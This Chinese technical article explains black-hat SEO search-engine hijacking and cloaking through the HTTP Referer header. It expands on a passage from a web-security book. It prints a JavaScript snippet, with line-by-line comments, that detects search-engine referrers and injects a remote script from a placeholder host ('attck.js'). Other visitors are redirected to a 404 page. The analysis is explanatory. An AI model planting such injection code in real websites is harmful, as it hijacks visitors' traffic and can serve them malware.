黑帽SEO之搜索引擎劫持-域名劫持原理分析

问题起源

        这是在《Web安全深度剖析》的第二章“深入HTTP请求流程”的2.3章节“黑帽SEO之搜索引擎劫持”提到的内容，但是书中描述并不详细，没有讲如何攻击达到域名劫持的效果。

        书中对SEO搜索引擎劫持的现象描述如下：直接输入网站的域名可以进入网站，但是通过在百度或者谷歌等搜索引擎通过关键字看到自己的网站后，点击链接会跳转到其他网站，黑帽SEO利用HTTP协议中Referer和浏览器客户端User-agent字段来欺骗搜索引擎，这到底是如何做到的呢？

原始劫持步骤描述

        书中提到当用户通过百度或者谷歌搜索引擎打开网站时，一般会引出源页面（Referer消息头），利用这点就可以用任何Web语言进行针对搜索引擎的流量劫持，步骤如下：

        1.首先建立劫持搜索引擎库，比如以Baidu、Google等域名为关键字

        2.获取HTTP Referer首部信息。

        3.遍历搜索引擎库，并与referer的内容相比较，如果两者相同或者存在搜索引擎关键字，那么页面将会发生跳转，也就是域名劫持。

        对于书中这部分讲解，我认为讲解的很模糊，怎么比较Referer字段相同或者存在关键字就发生域名劫持，还有就是与UserAgent字段也没有关系啊，只在后面提了一句Useragent主要用于劫持搜索引擎的蜘蛛。整体来说书中P25页的内容比较抽象，看过只觉得云里雾里，没有逻辑性。

SEO域名劫持原理分析

HTTP协议

        这里我先介绍下HTTP协议中这两个字段的含义，对比如下表所示

        基于此可知，如果我们在百度搜索"csdn",引擎搜索关键字看到的网站，打开csdn的网页链接，如下所示

        Referer一般应该为搜索关键字的页面（也就是对应的搜索引擎页面），内容大概如下所示

https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=csdn&fenlei=256&oq=csdn

分析攻击原理

        在原始劫持步骤的第三步中提到，当Referer的内容与搜索引擎库匹配时发生跳转，这是什么原理呢？由于Referer内容为搜索引擎的相关信息，为何匹配上就攻击成功呢，这是因为书中在讲解这个步骤时没有描述攻击脚本信息，假设有如下攻击脚本：

// 定义一个正则表达式，用于匹配常见的搜索引擎域名
// 匹配格式：.引擎名.后缀（如 .baidu.com、.google.com.hk）
// 修饰符：i（忽略大小写）、g（全局匹配）
var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;

// 获取当前页面的来源页地址（即HTTP请求头中的Referer字段）
var where = document.referer;

// 检查来源页地址是否匹配正则表达式（即是否来自搜索引擎）
if (regexp.test(where)) {
    // 如果来自搜索引擎，动态插入一个恶意脚本
    // 该脚本可能用于SEO作弊、流量劫持或攻击行为
    document.write('<script language="javascript" type="text/javascript" src="http://www.xxx.com/attck.js"></script>');
} else {
    // 如果不是来自搜索引擎，跳转到404页面（可能用于隐藏真实内容）
    window.location.href = "../../404.htm";
}

        该脚本通过检测HTTP请求的Referer字段，判断用户访问的网址来源是否来自搜索引擎（如百度、Google等）。如果匹配成功（即流量来自搜索引擎爬虫或搜索结果页跳转，代码来看就是egexp正则表达式中的关键字），则动态插入恶意JavaScript脚本（脚本中的挂马脚本src=”http://www.xxx.com/attck.js”），可能用于SEO作弊（如伪造内容、刷排名）、流量劫持（跳转至恶意网站）或注入攻击代码（如XSS、挖矿脚本）。而普通用户直接访问时，则会被重定向至404页面，使恶意内容仅对搜索引擎可见，从而实现Cloaking（伪装攻击），欺骗搜索引擎收录虚假内容，劫持搜索流量。这种手法属于黑帽SEO，严重违反搜索引擎规则，可能导致网站被降权或封禁。

总结

        综上所述，原始的步骤就可以解释通了，我们再来回顾下这个步骤，攻击过程可以拆解为 “检测来源 → 匹配搜索引擎 → 执行劫持”*三个阶段，具体如下：

1. 建立搜索引擎劫持库

- 通过脚本中的如下正则表达式来实现关键字的搜索引擎库

var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;

  - 匹配的域名包括：`.baidu.com`、`.google.com.hk`、`.bing.com` 等。  
  - 匹配规则：  
    - `\.(引擎名)`：匹配域名中的搜索引擎关键字（如 `.baidu`）。  
    - `(\.[a-z0-9\-]+){1,2}`：匹配顶级域名（如 `.com`、`.com.hk`）。  

2. 获取并检测HTTP Referer字段

  浏览器在请求网页时会自动携带 `Referer` 字段，标明当前请求的来源页面。  
  - 例如：用户通过百度搜索结果页访问时，`Referer` 值为：  

Referer: https://www.baidu.com/link?url=xxx

这时使用脚本来匹配refer中字段是否包含搜索引擎相关的关键字，即可判断流量是否为搜索引擎流量。

3. 执行劫持：差异化响应攻击

  当流量被识别为来自搜索引擎时，脚本动态插入恶意代码可能导致SEO域名劫持等问题：  

document.write('<script src="http://www.xxx.com/attck.js"></script>');

        然而当不匹配搜索引擎时，比如只是普通用户则不发起攻击，这里脚本选择跳转到404页面， 目的应该是避免普通用户发现异常，仅对搜索引擎暴露恶意内容：  

  window.location.href = "../../404.htm";

综上所示，攻击流程如下所示：